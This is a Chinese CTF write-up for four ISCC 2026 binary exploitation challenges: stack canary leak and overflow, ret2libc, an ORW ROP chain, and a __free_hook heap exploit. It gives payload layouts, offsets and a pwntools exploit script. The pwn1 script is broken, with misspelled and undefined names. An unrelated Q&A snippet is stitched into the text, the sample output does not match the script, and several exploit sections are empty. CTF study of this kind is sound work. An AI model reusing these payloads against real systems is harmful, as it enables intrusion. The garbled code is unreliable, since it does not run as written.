ISCC 2026

ISCC 2026

ISCC 2026-练武pwn

ISCC校赛练武pwn1

题目链接

iscc-pwn1

基本信息

项目内容
题目名称pwn1
所属赛事ISCC
二进制保护Canary + NX + No PIE + Partial RELRO
架构32-bit x86 (i386)
漏洞类型格式化字符串 + 栈缓冲区溢出

0x01 二进制分析

1.1 保护机制

bash
$ checksec pwn1
Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
  • Canary: 栈上存在 canary,溢出前必须先泄漏
  • NX: 栈不可执行,不能直接执行 shellcode
  • No PIE: 地址固定,无需泄漏基址
  • Partial RELRO: GOT 表可写,可考虑 GOT 劫持

1.2 关键函数

main (0x0804927e)

text
main:
  call  init           # 关闭缓冲
  push  "Hello Hacker!"
  call  puts           # 输出横幅
  call  vuln           # 调用漏洞函数
  ret

vuln (0x08049221) — 漏洞函数

asm
vuln:
  sub    esp, 0x78           ; 分配 120 字节栈空间
  mov    eax, gs:0x14        ; 获取 canary
  mov    [ebp-0xc], eax      ; 存入栈中
  mov    [ebp-0x74], 0       ; loop counter = 0

loop:
  push   0x200               ; read 最多 0x200 字节!
  lea    eax, [ebp-0x70]     ; buf 位于 ebp-0x70
  push   eax
  push   0                   ; fd = 0 (stdin)
  call   read

  lea    eax, [ebp-0x70]     ; 格式化字符串漏洞!
  push   eax
  call   printf

  add    [ebp-0x74], 1       ; counter++
  cmp    [ebp-0x74], 1       ; counter <= 1 继续循环
  jle    loop

  ; canary 检查
  mov    eax, [ebp-0xc]
  xor    eax, gs:0x14
  je     .ok
  call   __stack_chk_fail
.ok:
  leave
  ret

getshell (0x080491c6) — 后门函数

asm
getshell:
  push   "/bin/sh"     ; 0x0804a008
  call   system        ; system("/bin/sh")
  ret

题目自带 getshell 函数,直接调用 system("/bin/sh")

1.3 漏洞总结

  1. 格式化字符串漏洞: printf(buf) 直接使用用户输入作为格式化字符串
  2. 栈缓冲区溢出: read(fd, buf, 0x200) 可读 512 字节,但 buf 只有 100 字节
  3. 循环两次: vuln 会执行两次 read + printf,给我们两次交互机会

0x02 栈布局分析

从 vuln 反汇编得出的栈布局:

text
低地址
  ┌────────────────────────────┐
  │  loop counter (4B)         │  ebp-0x74
  ├────────────────────────────┤
  │  buf[100]                  │  ebp-0x70  ← read/printf 的输入点
  │  ...                       │
  │  ...                       │
  ├────────────────────────────┤
  │  canary (4B)               │  ebp-0x0c
  ├────────────────────────────┤
  │  未知 padding (8B)         │  ebp-0x08 ~ ebp-0x01
  ├────────────────────────────┤
  │  saved_ebp (4B)            │  ebp+0x00
  ├────────────────────────────┤
  │  return_addr (4B)          │  ebp+0x04  ← 正常返回到 main
  └────────────────────────────┘
高地址

核心偏移量:

区间偏移(相对 buf)大小
buf0100 字节 (0x64)
canary1004 字节
gap1048 字节
saved_ebp1124 字节
return_addr1164 字节

总 payload 长度 = 120 字节


0x03 利用方案

方案 A:格式化字符串 → GOT 劫持

原理: 利用第一次 printf%n 写功能,将 printf@GOT 改写为 getshell 地址。

这样第二次循环中 printf(buf) 被执行时,实际跳转到 getshell

python
payload = fmtstr_payload(6, {PRINTF_GOT: GETSHELL}, write_size='byte')
# 6 = 输入在 printf 参数栈上的起始偏移
# PRINTF_GOT = 0x0804c014
# GETSHELL = 0x080491c6

第二次输入任意字符串触发 printf → 实际执行 getshell


方案 B:泄漏 Canary + 栈溢出(推荐)

原理: 分两轮利用循环特性:

  1. 第 1 轮: 用 %31$p 泄漏 canary
  2. 第 2 轮: 用泄漏的 canary 构造 overflow payload,覆盖返回地址到 getshell

为什么是 %31$p

  • printf 的格式化参数从栈上第 6 位(偏移 5)开始接收我们的输入
  • canary 在 buf 上方 100 字节 = 25 个参数位(每个参数 4 字节)
  • 6 + 25 = 31

0x04 Exploit 代码

python
from pwn import *

contest(os='linux',arch = 'i386',log_level)
r = process('./pwn1')
r.recvuntil(b'Hello Hacker!\n')

ret = 0x804927D #re-enter the program entry point
bin_sh = 0x0804a008
get_shell = 0x080491C6

####canary 
r.sendline(b'%31$p')
canary = int(r.recvline().strip(),16)
log.success(f'canry = {hex(canary)}')

####payload 
payload = b'A'*0x64
payload += p32(canry)
payload += p32(ret) *3
payload += p32(GET_Shell)
r.send(payload)
r.interactive()
question

canry = int(r.recvline().strip(), 16)
log.success(f'canry = {hex(canry)}')
这两句话什么意思

第一行:
canry = int(r.recvline().strip(), 16)
r 是一个远程连接对象(如 remote('host', port))
r.recvline() 从远程接收一行数据(字符串)
.strip() 去掉首尾空白字符(如换行符 \n)
int(..., 16) 将字符串以 16进制 解析为整数
结果赋值给 canry(看上下文应该是 canary,栈保护 canary 的 typo)

第二行: log.success(f'canry = {hex(canry)}')
log.success() 是 pwntools 的日志输出函数,以绿色成功级别打印
hex(canry) 将整数转回 16 进制字符串(如 0xdeadbeef)


0x05 运行结果

bash
$ python3 exploit.py

[+] Opening connection to 39.96.193.120:10018
[+] Leaked canary: 0x8d3f6c00
[*] Sending payload (120 bytes)
[+] Flag: ISCC{4ad2bb11-ed6a-4202-9096-cfe28621d74c}

0x06 常见踩坑

问题原因解决
payload 112 字节失败忽略了 canary→ebp 间的 8 字节 gappayload 必须 120 字节
sendline 导致崩溃read() 会读入多余的 \nio.send() 而非 sendline
flag 收不到没有等待 shell 启动发送 cat 命令前 sleep(0.3)

0x07 总结

本题是典型的 32 位 Canary 绕过入门题,核心考点:

  1. 格式化字符串泄漏: %n$p 定位 canary 位置
  2. Canary 绕过: 泄漏后原样写回
  3. 栈布局理解: 必须准确计算各区间偏移

两种方法对比:

  • 方法 A (GOT 劫持): 一次 payload 搞定,无需计算偏移,但依赖 fmtstr_payload 函数
  • 方法 B (Canary 泄漏): 需要理解栈布局,但更通用,是 Canary 绕过的标准套路

推荐初学者优先掌握方法 B,它是真实 CTF 中最常见的 Canary 绕过手法。


ISCC 校赛练武pwn2

Attachment: attachment-9 (32-bit ELF)
Protections: NX=ON, PIE=OFF, Canary=OFF

题目链接

iscc-pwn2


0x01 静态分析

main()

c
char buf[32];
puts("Ready to begin...");
puts("Hope you have a good time here.");
read(0, buf, 32);
printf(buf);                          // [1] format string
if (*(0x0804C030) == 5) vuln();       // [2] need target_val == 5

vuln()

c
char buf[144];
write(1, "Input:\n", 7);
read(0, buf, 256);                    // [3] stack overflow

关键地址

SymbolAddress
target_val0x0804C030
puts@GOT0x0804C014
puts@PLT0x08049060

两个漏洞入口: printf(buf) 可任意写 + 任意读;read() 长度 256 > 144 可覆盖返回地址。


0x02 攻击思路

text
Stage 1: 格式化字符串
  ├── %8$n  → target_val = 5 (开门进 vuln)
  └── %9$s  → leak puts@GOT (泄露 libc)

Stage 2: ret2libc
  ├── 144(buf) + 4(ebp) = 148 padding
  └── system + dummy_ret + /bin/sh

Stage 3: getshell → cat /flag*

格式化串布局 (32 bytes)

text
Offset  Content          Why
──────────────────────────────────────
 0      %5c%8$n         写5到target_val
 8      |AAAAAAA        标记(解析用)
16      p32(0x0804C030)  %8$n指向的地址
20      p32(0x0804C014)  %9$s读取的地址
24      %9$s            泄露puts
28      LEAK            结束标记

溢出布局 (4+148 = 152 bytes)

text
Offset  Content
──────────────────────────
 0      144 bytes      buf padding
144     4 bytes        saved_ebp
148     system_addr    ret addr
152     0xdeadbeef     system's ret (dummy)
156     binsh_addr     arg1: "/bin/sh"

0x03 libc 版本识别

libc.rip 输入 puts 末三字节 0x1e0,匹配到:

text
libc6-i386_2.31-0ubuntu9.17
  puts:   0x0006d1e0
  system: 0x00041360
  /bin/sh:0x0018c363

0x04 Exploit


0x05 Flag

text
ISCC{e2d72fc8-fd71-4339-a79f-43a23013d374}

ISCC 2026 校赛PWN3 — 自动售货机

Flag: ISCC{c3fc4ab9-cbdc-4f24-a714-899ceacc0356}

题目链接

iscc-pwn3

0x01 题目信息

文件attachment-16 (x86_64, not stripped)
Libclibc.so (glibc 2.31)
保护NX: OFF, PIE: OFF, Canary: ON, Partial RELRO
漏洞格式化字符串 + 整数溢出 + 栈溢出
Seccomp仅允许 open(2) read(0) write(1) stat fstat getcwd

0x02 漏洞分析

1. 格式化字符串 — 输入客户ID处: read(0, name_buf, 31)printf(name_buf)

text
%10$ → rsp+0x20 = name_buf[16:24]  ← 在此放置地址
%45$ → rsp+0x138 = rbp-0x08       → Canary
%46$ → rsp+0x140 = rbp            → Saved RBP

2. 整数溢出 — 数量检查: cmp al, 3 只检查低8位。1283 = 0x503al = 0x03 通过检查,实际读取1283字节。

3. 栈溢出buf1rbp-0x110 (256B),read(0, buf1, quantity) 中 quantity=1283 造成溢出:

text
buf1[0..255]  256B  ← 缓冲区
局部变量        8B
canary         8B   ← 偏移 264
saved rbp      8B   ← 偏移 272
返回地址        8B   ← 偏移 280 → ROP起点

0x03 利用流程 (3轮 vuln())

第1轮 — 格式化字符串泄露 libc + canary:

text
发送: %10$sAAA%45$pxxx + p64(puts_got)
      %10$s → 解引用 name_buf[16:24] 处的 puts@GOT → 读取 puts 真实地址
      %45$p → 打印 canary

libc_base = puts_addr - 0x84420

第2轮 — 泄露栈地址:

text
发送: %46$p → saved rbp → buf1_addr = saved_rbp - 0x130

第3轮 — 溢出 + ORW ROP链:

Gadget位置偏移
pop rdi; ret程序本身0x4014a3
pop rax; retlibc0x36174
pop rsi; pop r15; retlibc0x23b68
pop rdx; pop rbx; retlibc0x15fae6
syscall; retlibc0x630a9

注意:0x4014a0 处是 pop r14;pop r15;ret (41 5e 41 5f c3),不是 pop rsi

ROP链:open("/flag.txt",0,0)read(3, buf, 100)write(1, buf, 100)

Payload 结构 (1283字节):

text
[24B 头部][240B 填充][canary][0(伪造rbp)][ROP ~312B][填充]["/flag.txt"][读缓冲区]

0x04 Exploit 代码


ISCC 2026 校赛pwn4 题解

0x01 题目信息

项目内容
题目pwn4
二进制64-bit ELF, PIE enabled, stripped
libc自实现 Ubuntu glibc 2.31-0ubuntu9.18
考点tcache count saturation, unsorted bin leak, __free_hook overwrite

0x02 前置知识

2.1 堆内存是什么?

程序运行时,除了栈(stack)以外,还有一片叫"堆"(heap)的内存区域。栈由编译器自动管理(函数调用时分配、返回时释放),而堆由程序员手动申请和释放。

C 语言中用 malloc(size) / calloc(n, size) 申请堆内存,用 free(ptr) 释放。

2.2 glibc 的堆分配器:ptmalloc

Linux 下最常用的 libc 是 glibc,它的内存分配器叫 ptmalloc(pthread malloc)。

当我们调用 malloc(100) 时,ptmalloc 并不是直接向操作系统要 100 字节,而是:

  1. 先从本地缓存(tcachefastbin)找有没有合适大小的空闲块
  2. 如果没有,再去 unsorted bin / small bin / large bin
  3. 如果还没有,从堆顶(top chunk)切一块新的
  4. 实在不行才用 brk() / mmap() 向操作系统申请
text
┌──────────────────────────────────────┐
│            用户请求 malloc(100)       │
└─────────────────┬────────────────────┘
                  ▼
┌──────────────────────────────────────┐
│  ① 查 tcache  (每线程缓存,最快)       │
│  ② 查 fastbin (LIFO 单链表)           │
│  ③ 查 smallbin / largebin / unsorted  │
│  ④ 从 top chunk 切新块                │
│  ⑤ 向 OS 申请更多内存 (brk/mmap)       │
└──────────────────────────────────────┘

2.3 chunk 的结构

堆中的每一块内存都叫一个 chunk。chunk 的结构如下(64 位系统):

text
    +--------+--------+--------+--------+
    |        prev_size (8 bytes)         │  前一个 chunk 的大小(如果前一个空闲)
    +--------+--------+--------+--------+
    |         size  (8 bytes)            │  本 chunk 的大小 + 标志位(最低3bit)
    +--------+--------+--------+--------+
    |         user data ...              │  用户可用的数据区
    |         ...                        │
    |         ...                        │
    +--------+--------+--------+--------+
  • prev_size: 前一个 chunk 的大小(只有当前一个空闲时才有效,否则被前一个 chunk 借用存储数据)
  • size: 本 chunk 的大小,最低 3 bit 是标志位:
    • bit 0: PREV_INUSE — 前一个 chunk 是否在使用中(0=空闲, 1=使用中)
    • bit 1: IS_MMAPPED — 是否由 mmap 分配
    • bit 2: NON_MAIN_ARENA — 是否属于非主 arena
  • chunk 大小总是 16 字节对齐的(64 位系统)

例如,calloc(1, 24) 申请 24 字节:

text
chunk_size = (24 + 8 + 15) & ~15 = 47 & ~15 = 32 = 0x20

其中 8 是 chunk header 需要的大小,15 是对齐掩码。

用户可用的空间 = chunk_size - 8(header)= 0x18 = 24 字节。多出来的 8 字节其实是下一个 chunk 的 prev_size 字段,当当前 chunk 使用时可以被"借用"。

2.4 tcache(Thread Cache)是什么?

glibc 2.26 引入了 tcache,是一种每线程的快速缓存。

text
tcache_perthread_struct {
    char    counts[64];      // 每个 bin 当前缓存的 chunk 数量(最多 7)
    void   *entries[64];     // 每个 bin 的链表头指针
}
  • 共 64 个 bin,分别对应 0x20 ~ 0x410 的 chunk
  • 每个 bin 最多缓存 7 个 chunk
  • LIFO(后进先出),类似栈
  • 没有安全检查,速度最快

关键特性

  • free() 时:如果 tcache 对应 bin 没满(count < 7),chunk 优先进 tcache
  • malloc() 时:如果 tcache 对应 bin 不为空,优先从 tcache 取
  • calloc() 不同! calloc 在 glibc 2.31 中直接跳过 tcache,不会从 tcache 取 chunk

callocmalloc 的区别:

  • malloc(size):分配但不初始化,可能残留旧数据
  • calloc(n, size):分配 n 个 size 的对象,并把内存清零。在 glibc 2.31 中,calloc 不会从 tcache 取 chunk(这是为了防止把未清零的敏感数据返回给调用者)

2.5 unsorted bin 和 libc 泄露

当一个 chunk 被 free() 且不满足 tcache / fastbin 条件时,它进入 unsorted bin

unsorted bin 是一个双向循环链表,表头在 libc 的 main_arena 结构体中。

一旦 chunk 进入 unsorted bin,它的 fdbk 指针就会指向 main_arena 内的地址(位于 libc 的数据段):

text
+-----------------------------------------------+
|  unsorted bin 中的 chunk                       |
|                                               |
|  fd  ─────→ main_arena + 0x60 (or similar)    |
|  bk  ─────→ main_arena + 0x60                 |
|                                               |
|  这两个指针都在 libc 的地址空间中               |
+-----------------------------------------------+

如果能读出 fd 指针,就能算出 libc 的基址,这就是 "unsorted bin leak"。

2.6 __free_hook 劫持

glibc 中有一个全局变量叫 __free_hook,位于 libc 的 writable 段。

c
void (*volatile __free_hook)(void *, const void *) = NULL;

__free_hook 不为 NULL 时,调用 free(ptr) 会变成:

c
if (__free_hook != NULL)
    __free_hook(ptr, caller_addr);   // 执行 hook 而不是真正释放

这是最经典的利用手法之一:把 __free_hook 覆盖成 system 函数的地址,然后 free("/bin/sh") 就会变成 system("/bin/sh"),从而拿到 shell。

注意:glibc 2.34 以后移除了 __free_hook__malloc_hook。本题使用 2.31,所以可用。


0x03 题目分析

3.1 程序功能

程序模拟了一个"学生管理系统",有两种角色:

教师菜单(role=0):

text
1. add a student        → 创建学生
2. give a score         → 打分
3. write a review       → 写评语(分配/写入 review chunk)
4. call his/her parent  → 叫家长(释放 review → sub → student)
5. change role          → 切换角色

学生菜单(role=1):

text
1. do the test          → 考试
2. check for review     → 查看评语(含堆地址泄露 + 任意字节+1 + 读取 review)
3. pray                 → 祈祷(开关,影响 set_mode 的行为)
4. set mode             → 设置模式(写 0x20 字节到某个地址)
5. change role          → 切换角色
6. change id            → 切换学生 ID

3.2 关键数据结构

每个学生由 3 个 chunk 组成:

c
struct student  // 0x30 chunk, calloc(1, 0x20)
{
    int   questions;      // +0x00: 问题数量
    void *sub;            // +0x08: 指向 sub 结构体
    void *mode;           // +0x10: 指向 mode 结构体 (mode_ptr)
    int   pray_state;     // +0x18: 祈祷状态
    int   reward_flag;    // +0x1c: 奖励标记
};

struct sub      // 0x20 chunk, calloc(1, 0x18)
{
    int   total;          // +0x00: 总题数
    int   score;          // +0x04: 分数
    char *review_buf;     // +0x08: 指向 review chunk 的用户数据
    int   review_size;    // +0x10: review 的大小
};

3.3 堆内存布局

text
heap_base + 0x000 = tcache_perthread_struct  (0x290 bytes)
heap_base + 0x290 = student[0]  (0x30)
heap_base + 0x2c0 = sub[0]      (0x20)   ← 注意: 0x20 不是 0x30!
heap_base + 0x2e0 = mode[0]     (0x30)
heap_base + 0x310 = student[1]  (0x30)
heap_base + 0x340 = sub[1]      (0x20)   ← type confusion 目标 #1
heap_base + 0x360 = mode[1]     (0x30)
heap_base + 0x390 = student[2]  (0x30)
heap_base + 0x3c0 = sub[2]      (0x20)
heap_base + 0x3e0 = mode[2]     (0x30)
heap_base + 0x410 = student[3]  (0x30)
heap_base + 0x440 = sub[3]      (0x20)   ← type confusion 目标 #2
heap_base + 0x460 = mode[3]     (0x30)
heap_base + 0x490 = student[4]  (0x30)
heap_base + 0x4c0 = sub[4]      (0x20)
heap_base + 0x4e0 = mode[4]     (0x30)
heap_base + 0x510 = review[1]   (0x410)  ← 将放入 unsorted bin
heap_base + 0x920 = review[2]   (0x20)   ← "/bin/sh" 字符串
heap_base + 0x940 = review[3]   (0x20)   ← 最终 payload

3.4 漏洞所在

漏洞 1:Type Confusion(类型混淆)

set_mode 函数的行为:

python
if pray_state == ON:
    # 读取 pray_score (0-100),把它的值作为 1 字节写到 student + 0x10
    # student + 0x10 正好是 mode_ptr 的最低字节 (LSB)!
    *(char*)(student + 0x10) = pray_score
else:
    # 从 stdin 读 0x20 字节,写到 *(void**)(student + 0x10) 即 *mode_ptr
    read(0, *mode_ptr, 0x20)

正常流程:

  • mode_ptr 指向 mode chunkset_mode 写入 mode chunk

攻击流程:

  • pray ON → 写入 pray_score = 0x50(即 80)
  • mode_ptr 原本 = 0x...370(mode1 的数据区),LSB 被改为 0x50
  • mode_ptr 变成 0x...350 = sub1 的数据区
  • pray OFFset_mode → 写入 sub1,而不是 mode1

关键限制pray_score 范围是 0100(0x000x64),所以只能修改 LSB 的低 7 位(最大 0x64)。这限制了哪些地址可以重定向到。

漏洞 2:set_mode 写溢出

set_mode 始终写 32 字节0x20),但 sub 结构体只有 24 字节0x18)。

text
sub[1] 数据区: 0x350 - 0x367 (24 bytes)
set_mode 写入: 0x350 - 0x36f (32 bytes)  ← 溢出了 8 字节!
溢出部分:      0x368 - 0x36f → mode[1] 的 size 字段

如果溢出的 8 字节写了 0x0000000000000000,mode1 的 chunk header 就被破坏了,后续任何涉及 mode1 的操作都会 crash。

修复方法:payload 末尾写入正确的 size 值(0x31 = 0x30 chunk + PREV_INUSE 标志位)。

漏洞 3:calloc 绕过 tcache

题目的所有分配都用 calloc()。在 glibc 2.31 中,calloc 不取 tcache 中的 chunk。所以常规的 tcache poisoning 攻击行不通:

  • 把 chunk A free 进 tcache → calloc 永远不会重用 A → 无法控制 A 的内容

绕过方法:tcache count saturation。

漏洞 4:任意地址读写

check_review 函数:

c
if (sub->score > 0x59) {
    printf("Good Job! Here is your reward! %p\n", student);  // 堆泄露
    if (reward_flag < 1) {
        *(char*)arbitrary_addr += 1;  // 任意地址 +1
    }
    write(1, sub->review_buf, sub->review_size);  // 任意地址读
}

write_review (EXISTING 路径):

c
if (sub->review_buf != NULL) {
    read(0, sub->review_buf, sub->review_size);  // 任意地址写
}

通过 type confusion 控制 sub->review_bufsub->review_size,就能获得任意地址读写原语。


0x04 利用链总览

text
Phase 1  → 创建 5 个学生,布置堆布局
Phase 2  → type confusion 控制 student 1 的 sub 结构体
Phase 3  → 分配 3 个 review chunk(0x410, 0x20, 0x20)
Phase 4  → 堆地址泄露(printf %p)
Phase 5  → 重设 mode_ptr,直接控制 sub[1]
Phase 6  → tcache count saturation(counts[0x3f] = 7)
Phase 7  → 配置 sub[0] 的 review_buf 指向 unsorted bin fd 的位置
Phase 8  → call_parent(1):free review[1] (0x410) → 进入 unsorted bin
Phase 9  → libc 泄露:读 unsorted bin fd
Phase 10 → type confusion 控制 student 3,把 __free_hook 覆盖为 system
Phase 11 → 触发:free(review[3]) → system("sh") → shell

0x05 详细步骤

Phase 1:创建学生

创建 5 个学生。每个学生占 0x30 + 0x20 + 0x30 = 0x80 字节。

5 个学生占 5 × 0x80 = 0x280,加上 tcache 0x290,总共 0x510

学生分配完时,heap 的 top chunk 在 0x510,下一个分配(review1)将从这里开始。

Phase 2:Type Confusion 初始化

利用 pray_score = 800x50)将 mode_ptr 从指向 mode[1] 改到 sub[1]

text
mode_ptr 原始值 = heap_base + 0x370  (LSB = 0x70)
pray_score = 80 = 0x50
mode_ptr 修改后 = heap_base + 0x350  (LSB = 0x50 → sub[1] 数据区)  ✓

然后 set_modesub[1] 写入初始值:score = 100(凑满 > 0x59 的条件以触发后续泄露)。

Phase 3:分配 Review

  • review[1]: 申请 1023 字节 → chunk size = (1023+8+15) & ~15 = 0x410。这是 tcache 能容纳的最大 chunk,对应 counts[0x3f]
  • review[2]: 申请 8 字节 → chunk size = 0x20。写入 "/bin/sh"(备用)。
  • review[3]: 申请 8 字节 → chunk size = 0x20。占位,用于最终 payload。

Phase 4:堆地址泄露

check_reviewprintf("%p", student) 打印 student[1] 的地址。

text
heap_base = student1_addr - 0x320

为什么减 0x320?student1 的数据在 heap_base + 0x320

有了 heap_base 后,计算所有需要的地址:

  • sub0 = heap_base + 0x2d0:sub0 的数据区(用于 libc leak)
  • r1data = heap_base + 0x520:review1 的数据区(free 后变成 unsorted bin fd)
  • c3f = heap_base + 0x10 + 0x3f:tcache counts0x3f
  • r3data = heap_base + 0x950:review3 的数据区

Phase 5:重设 mode_ptr

用另一个 pray_score = 480x30)把 mode_ptr 的 LSB 改成 0x30

text
mode_ptr → heap_base + 0x330 = student[1] + 0x10

然后 set_modestudent[1] + 0x10 写 32 字节:

text
[0x00] mode_ptr   = &sub[1]        ← 之后 set_mode 直接写 sub[1]
[0x08] pray_state = 0              ← 关闭 pray
[0x0c] reward_flag = 0             ← 重置 reward_flag
[0x10] 随便写                      ← sub[1] 的 prev_size(借用的)
[0x18] 0x21                        ← sub[1] 的 size 字段(必须保留!)

此后,set_mode 无需 pray 就直接写 sub[1],我们有了对 sub1 的稳定控制

Phase 6:Tcache Count Saturation

这是最核心的一步。

目标:让 counts[0x3f](对应 0x410 chunk 的 tcache bin)变成 7。

**为什么是 7?**每个 tcache bin 最多存 7 个 chunk。当 count == 7 时,tcache bin 被认为是满的,再 free 的 chunk 不会进 tcache,而是进入 unsorted bin。

具体操作

  1. 用 type confusion 把 sub[1].review_buf = &counts[0x3f]review_size = 1
  2. write_review(EXISTING 路径)→ read(0, &counts[0x3f], 1) → 写入 \x07

关于 tcache counts 的类型

  • glibc 2.31 原版:char counts[64](uint8_t),每个 1 字节
  • 某些 backport:uint16_t counts[64](uint16_t),每个 2 字节

不确定远程用的是哪种 → 两个偏移都写

  • heap_base + 0x10 + 0x3f(uint8_t 偏移)
  • heap_base + 0x10 + 0x3f*2(uint16_t 偏移)

Phase 7:配置 sub0

通过 sub[1] 的任意写,配置 sub[0]

text
sub[0].score      = 100       ← 满足 > 0x59,触发 check_review 泄露
sub[0].review_buf = r1data    ← 指向 review[1] 的数据区
sub[0].review_size = 8        ← 读 8 字节(一个指针大小)

然后恢复 sub[1].review_buf = r1data(实际的 review1 数据指针),因为接下来 call_parent 会用它来找到要 free 的 review。

这里被坑了很久:如果不恢复,call_parent 会 free 错误的东西导致 crash。

Phase 8:call_parent(1)

text
free(review[1])  → 0x410 chunk, counts[0x3f]==7 → full → 进 unsorted bin
free(sub[1])     → 0x20 chunk → 进 tcache bin 0
free(student[1]) → 0x30 chunk → 进 tcache bin 1

现在 review1 在 unsorted bin 中,它的 fd/bk 指向 main_arena + 0x60

Phase 9:Libc 泄露

切换到 student[0],调用 check_review

text
write(1, sub[0].review_buf, 8)  →  write(1, r1data, 8)
                                 →  打印出 unsorted bin fd
                                 →  得到 libc 地址!
text
libc_base = fd - UNSORTED_BIN_OFFSET
system    = libc_base + SYSTEM_OFFSET
__free_hook = libc_base + FREE_HOOK_OFFSET

Phase 10:覆盖 __free_hook

切换到 student[3],用同样的 type confusion(pray_score = 80 = 0x50):

text
mode_ptr 原本 = heap_base + 0x470 (LSB = 0x70)
pray_score = 0x50
mode_ptr 修改后 = heap_base + 0x450 = sub[3] 数据区  ✓

sub[3].review_buf = __free_hookreview_size = 8

然后 write_review(EXISTING 路径)→ read(0, __free_hook, 8) → 写入 p64(system_addr)

__free_hook = system,搞定。

Phase 11:触发 Shell

再把 sub[3].review_buf 改回 r3data(review3 的数据区),把 review3 的内容写成 "sh"

调用 call_parent(3)

text
free(r3data)
  → __free_hook != NULL
  → __free_hook(r3data)
  → system(r3data)
  → system("sh")     ← 拿到了 shell!

最后通过 shell 执行 cat flag.txt 获取 flag。


0x06 完整 EXP


0x07 踩坑记录

坑 1:sub chunk 大小是 0x20 不是 0x30

calloc(1, 0x18) 请求 24 字节,计算 chunk size:

text
(0x18 + 8 + 15) & ~15 = 0x2f & ~0xf = 0x20

一开始按 0x30 算导致整个 heap layout 偏移全错,所有地址都不对。

坑 2:set_mode 溢出破坏下一个 chunk 的 size 字段

set_mode 硬编码写 0x20 字节,sub 只有 0x18 字节。多余 8 字节覆盖下一个 chunk 的 size。每次构造 payload 都要在末尾带上正确的 size(0x310x21)。

坑 3:call_parent 之前必须恢复 review_buf

call_parent 通过 sub->review_buf 找到要 free 的 review。之前为了做任意写把 review_buf 改成了别的地址,不恢复就会 free 一段无效内存导致 crash。

坑 4:tcache counts 的类型不确定

glibc 2.31 原版是 uint8_t,但有些 backport 改成了 uint16_t。远程用的是哪个无法提前知道,所以两个偏移都写一遍最稳。

坑 5:role 状态机

教师菜单和学生菜单是不同的,每次操作前后要注意当前在哪个 role。change role (option 5) 会切换。

坑 6:只有 student 1 和 3 能做 type confusion

pray_score 修改 mode_ptr 的 LSB,范围只有 0100(0x000x64)。

对于 student 1:&mode[1] = 0x...370&sub[1] = 0x...350,差值是 0x20 < 0x64 ✓ 对于 student 3:&mode[3] = 0x...470&sub[3] = 0x...450,差值 0x20 ✓ 对于 student 0/2/4:差值 0x10 但不匹配 LSB 要求(需要 0xd0,超过 100)


0x08 扩展知识

8.1 为什么 calloc 不取 tcache?

glibc 2.31 源码中 calloc 的实现直接调用了 _int_malloc,跳过了 tcache 的检查路径。原因是 calloc 需要保证返回的内存已被清零。tcache 中的 chunk 可能残留之前用户的数据,不符合"清零"的语义。

直到 glibc 2.33,calloc 才开始使用 tcache。

8.2 glibc 2.34+ 的新变化

从 glibc 2.34 开始:

  • __free_hook__malloc_hook完全移除
  • tcache 增加了 pointer guard(safe_link),对 fd 指针做 XOR 混淆
  • tcache count 改为 uint16_t
  • calloc 可以使用 tcache

这意味着此题的手法在 glibc 2.34+ 环境下需要改用其他技巧(如 House of Apple, FSOP 等)。

8.3 其他常见的 libc 泄露方法

方法条件说明
unsorted bin leak需要 free 一个 > 0x410 的 chunk 进 unsorted bin本题使用的方法
fastbin dup需要 double free(glibc 2.27- 无检查)老版本常见
tcache dup需要 double free(glibc 2.27-2.28 无检查)比 fastbin 更简单
stdout leak修改 stdout 的 flags/_IO_write_base需要任意写
large bin attack需要 large bin 和可控 chunk复杂但有效

8.4 tcache count saturation 的通用性

这个技巧不仅适用于本题。任何场景下,只要:

  1. 目标程序使用 calloc 分配(不取 tcache)
  2. 能控制 tcache counts(哪怕只是一个字节的写入)
  3. 需要让某个 chunk 进 unsorted bin

就可以用。特别适用于开启了 safe_link 后的高版本 glibc(因为 tcache 进不去,改了 count 就能强行绕开)。


0x09 总结

text
        type confusion
             │
             ▼
     任意读写 sub 结构体
             │
    ┌────────┼────────┐
    ▼        ▼        ▼
 tcache    sub[0]   sub[3]
 count    review_buf  review_buf
  =7      = r1data    = free_hook
    │        │           │
    ▼        ▼           ▼
free(0x410)  libc     __free_hook
 →unsorted   泄露     = system
  bin                    │
    │                    ▼
    ▼              free("sh")
  libc            → system("sh")
  泄露              → SHELL

整条利用链的核心思想:绕过 calloc 的 tcache 限制 → 泄露 libc → 劫持 __free_hook → 拿 shell。中间涉及的每个小技巧(type confusion、count saturation、unsorted bin leak)拆开来看都不难,但串在一起且细节都对上需要耐心调试。


新故事即将发生
Pwn-ret2syscall

评论区

评论加载中...